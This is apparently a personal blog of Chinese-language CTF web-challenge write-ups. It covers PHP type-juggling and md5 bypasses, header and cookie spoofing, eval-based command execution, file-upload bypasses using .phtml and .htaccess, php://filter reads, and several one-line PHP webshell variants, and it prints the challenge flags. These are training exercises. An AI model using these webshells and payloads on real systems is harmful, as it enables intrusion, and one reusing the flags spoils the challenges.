0%

CTF

时间紧迫,这里整个5道CTF题目
BugKu-Web-GET

BugKu-Web-POST

攻防世界-Web-get_post

BugKu-Web-矛盾

攻防世界-Web- simple_php


这里可以看到网址上是没有当前文件名,这里是index.php(一般都是这个)
这里是GET传参,当$what=flag时输出flag

flag{5ed5035b41c455c9cebee29d8243efb0}
ok,进入下一题

这里可以看出我们需要以POST形式传输$what=flag给服务器
有两种方式,一种是利用hackbar,另一种是利用kali的curl:curl 网址 -d what=flag
这里使用hackbar进行演示

得到flag{fd62a96285bc8b777839587d95960ea9}
进入下一题

当$num==1时可以得到flag,但如果$num为数字或数字字符串时不执行如下代码,因此只有要同时满足这两点就可以了,类似于与$num=1abc,它不属于numeric,同时也可以满足$num==1

得到flag{90809ce8ba8b4e37a27dbd52300b5234}
下一题



这道题跟前面的思路相同就不解释了
cyberpeace{5f9b0f0ad513568198c86cb2f5eae9e2}
继续下一题

这道题看起来还蛮高级的,让我们来解刨一下
if($a==0 and $a){
echo $flag1;
}
这里可以看出$a!===0,也就是说$a还是类似于0+字母或符号的形式
成功得到第一段flag

继续解刨一下$b
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
$b不为数字或数字字符串,同时还有要大于1234,这跟$a的思路是相同的,$b=(一个大于1234的数字)+(一切非数字)
最终结果如下

3/6
今天继续做两个CTF的笔记
[极客大挑战 2019]BuyFlag
[ACTF2020 新生赛]BackupFile1

BuyFlag,经过探索,发现了其提出的要求:需要是一位学生,需要回答正确的密码。先查看源代码,发现如下注释:

1
2
3
4
5
6
7
8
9
10
11
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->

password需要==404,password不能是数字或数字字符串。
==会自动转换,所以这里设定为404c
利用burpsuit抓包

如图所示,其利用了GET传输,通过change request method修改为POST传输
cookie:user0修改为user1
(user是用户,0通常代表flase(错误),1通常代表true(正确)
将user修改为1使后台程序可以正常运行)

这里可以看到他说想要买flag还需要1亿元
那我们也就给他money=100000000(此时它会显示字符串超出限制,那我们换一种方式表示1e10,表示1+10个0)

ok,成功拿下flag
接下来做BackupFile1

也是非常干净只有一句话,让我们去寻找源文件,dirb或dirbsearch扫描,发现备份文件index.php.bak,发现如下

key==str key!=数字或数字字符串时输出just name 所以设定key为123就可以了
得到flag

(难点在于如何发现备份文件)
ok今天的ctf就先到这里啦,下次再见

3/11继续更新ctf进程
1.BugKu-Web-计算器

2.攻防世界-Web新手区- disabled_button

3.BugKu-Web-头等舱

4.攻防世界-Web-baby_web

5.极客大挑战-2019-Havefun

6.BugKu-Web-程序员本地网站

7.BugKu-Web-你从哪里来

8.攻防世界-Web新手区-xff_referrer

9.攻防世界-Web新手区-cookie

我们一个一个来:

这里可以看到需要我们输出计算结果来获取flag,但是设置了表格输出范围为1个字符
因此在这里我们通过F12进行范围修改

这里有也是成功拿到flag
进入下一道

这里可以看到一个按钮
大概就是说点击按钮获取flag,但是flag是灰色的,因此我们还是用上一道ctf题的思路,修改样源代码

成功取得flag

继续下一题

查看相应头,发现flag

下一道

文件为1.php,尝试查看index.php(这里会强制转回1.php),但可以在网络中查看,发现flag

下一道,这里就不具体写了F12发现注释

1
2
3
4
5
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

输出变量?cat=dog,即可拿到flag
ok,继续下一道
程序员本地网站

利用burpsuite进行抓包,修改http header的信息X-Forword-for为127.0.0.1
取得flag

进入下一题

思路与上一题相似,但这里需要修改referer来欺骗服务器

下一题
这道题也没什么可多说的,就是上面两道题的结合体


来到最后一题cookie

直接从网络里看,他说在cookie.php中

继续查看网络,发现flag

ok,8道题目顺利完结,下次再见。

3/31
最近身体疲乏,笔记更新的也有点晚
今天做一个bugku的前女友

F12发现隐藏文件code.txt


if($v1 != $v2 && md5($v1) == md5($v2))
v1不等于v2同时md5$v1需要等于md5$v2
这个简单,数组绕过或者利用md5值相等的不同函数
s878926199a与s155964671a
!strcmp($v3, $flag)
将v3与flag作比较,然后取非
取非,即把0变成1,非0变成0;
当v3 > flag时为1,取非成为0,代码不执行
当v3 < flag时为-1,取非成为0,还是不执行
所以只有当flag=v3时,取非才是1,代码执行
因此这里v3我们只能利用数组绕过
方法一:
?v1=QNKCDZO&v2=240610708&v3[]=1

方法二:
?v1[]=1221&v2[]=211&v3[]=2313

ok,暂时就到这,下次见

4/14 今天在来做几个ctf题目
首先我们要了解PHP中带有代码执行漏洞的函数
下面列举两个常用的函数
eval()

assert()

ok,开始第一道
CTFhub-RCE -eval执行

由图可知,我们需要将命令赋给cmd进行运行
我们先查看一下当前文件夹
?cmd=system("ls");

试着不断倒退文件夹
../../../
发现flag文件

?cmd=system("cat ../../../flag_31398");得到flag

ctfhub{496c51c522ec53cd9cdc7ef2}

CTFhub-RCE -文件包含

strpos(string,find,start)
意思在string字符串中找find的位置,start是查找的开始位置
(!strpos($_GET["file"], "flag"))
如果file中没有flag字符串就执行下面的include $_GET[“file”]
?file=shell.txt

查看当前目录,进行../退位 发现flag
ctfhub=system("ls ../../../");

得到flag
ctfhub=system("cat ../../../flag");

buuctf-webshell后门
下载的到文件
通过火绒发现病毒所在文件

发现木马位置

flag{ba8e6c6f35a53933b871480bb9a9545c}

buuctf-后门查杀
下载文件,利用火绒发现木马文件

发现木马位置

得到flag{6ac45fb83b3bc355c024f5034b947dd3}

bugku-web-eval

这里需要传入hello参数
?hello=system("ls")
发现flag.php

cat flag.php
发现直接运行了php程序,因此我们这里利用tac只读不运行进行查看

bugku-web-shell

?s=system("ls")


谈笑间又被骗了4金币
今天的ctf就到这里了,我们下期再见

4/15
今天再整个几道

1.攻防世界-Web-upload1

界面也是非常的简洁啊
先尝试直接上传一句话木马

可以看到他这里需要上传图片,我们直接改文件后缀并进行拦截

将jpg改回php否则将会无法连接

这里可以看到是已经上传成功的
直接通过蚁剑进行连接

成功找到flag

2.BUUCTF-Web- [ACTF2020 新生赛]Upload

我们直接上传jpg文件,同时进行拦截,后改为php进行尝试

很可惜被他发现了,很可能是php被扳掉了,我们尝试使用phtml进行绕过

成功上传
这里拓展一下
PHP页面不包含与视图相关的代码
PHTML页面包含的数据逻辑很少(如果有的话),并且大部分与演示相关
phtml通常从不直接访问。此外,在大多数Web服务器中,通常未将phtml配置为有效的PHP扩展名。
因此这里可以替换为phtml

ok,蚁剑进行连接

拿到flag

3.BUUCTF-Web-[MRCTF2020]你传你🐎呢

真是一场激情的解题呢,老样子先拦截,后上传



这里就可以确定是黑名单过滤了
经过资料的查询和学习,这里需要利用利用文件解析漏洞,大致就像解析图片马的一个文件
写一个.htaccess文件

1
2
3
<FilesMatch "1.jpg">   (这里确定自己上传的图片码的名字)
SetHandler application/x-httpd-php
</FilesMatch>

这里上传时需注意将文件格式改为jpeg否则无法上传成功

ok,既然已经得到,那我们直接蚁剑开连

(注:这里连接的是上传的jpg图片马)

成功拿到flag

下期再见

2024/4/22
又到了熟悉的周一,继续来做几个ctf题目
1.BugKu-Web-文件包含

由此我们可以得知file为注入点,要运行index.php
直接尝试连接

显示无法使用该页面,这里我们使用伪协议php://fitter,这里需要注意,它与函数结合会导致直接运行,因此
我们这里对其进行编码输出,令其无法执行.
这里使用base64进行编码
?file=php://filter/read=convert.base64-encode/resource=index.php

成功显示页面,进行base64解码获得flag

flag{ee3ec0c3ec7b492161711f6090499a11}

2.BugKu-Web-文件包含
这道题没什么特别的知识点,为了节约点金币,直接上知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
eval($_POST['cmd']);
?>
php推荐使用的标记风格。
服务器管理员无法禁用,所有服务器上均可使用该风格


<script language="php">
eval($_POST['cmd']);
</script>


<script language="PhP">
eval($_POST['cmd']);
</script>
默认开启,无法禁用


<?
eval($_POST['cmd']);
?>
此种风格需要在配置文件php.ini中启用short_open_tage选项
此种风格在许多环境中默认是不支持的



<%
eval($_POST['cmd']);
%>
种风格需要在配置文件php.ini中启用asp_tag选项
在默认情况下是禁用的

3.BUUCTF-[ACTF2020 新生赛]Include

这里让我们找flag,又是熟悉的感觉,再次尝试伪协议,转换为base64

也是成功拿下(知识点有点重复了)

4.BUUCTF-[极客大挑战 2019]Secret File

真是紧张又刺激的页面呢
通过查看源代码发现隐藏超链接,后又发现一个超链接,但都一无所获,因此这里决定抓包查看

经过一番查看发现注释文件secr3t.php

打开进行查看
得知flag在flag.php中,file可进行文件包含漏洞,但这里无法直接查看,还是需要利用到伪协议
其中禁止使用../,tp,input,data

解码拿到flag

完结,睡大觉

8/6
今天来对前些日子完成的ctf题目进行一个整理
1.HTTP

2.Head?Header

3.我真的会谢

4.word-for-you

5.word-for-you2

————————————————————————————————————————————————————————————————————
HTTP
进入靶机

老样子先F12寻找线索

发现隐藏目录secret.php
查看后发现需要从https://Sycsecret.buuoj.cn 访问
利用Burp进行拦截,修改referer

后又需要Syclover,利用User-agent

后又要求只能本地进行查看,将X-Forwarded-For修改为本地进行传输

成功拿到flag{7d9ddd19-b7c1-4d17-89a5-3852bd468c36}


Head?Header

跟上道题思路一样,这里就不演示了


我真的会谢
如图可知,作者将flag藏在了三个地方

我们先查看robots.txt,顺利发现第一个flag,Part One: flag{Th1s_Is_s00
(此文件一般为留给渗透人员的渗透要求)
接下来尝试下载备份文件

尝试www.zip, 解压以后发现flag,Part Three: u_th1nk_so?}

接下来尝试从源码中找寻线索
发现注释
VIM非正常退出很可能生成swp文件,尝试查看.index.php.swp

成功得到最后一段flag

————————————————————————————————————————————————————————————————————
Word-For-You 1/2
这里一与二差距不大,这里只展示2的渗透过程

利用sqlmap中 修改User-Agent,通过参数–random-agent进行渗透,从而入侵数据库,从而得到flag
火速完结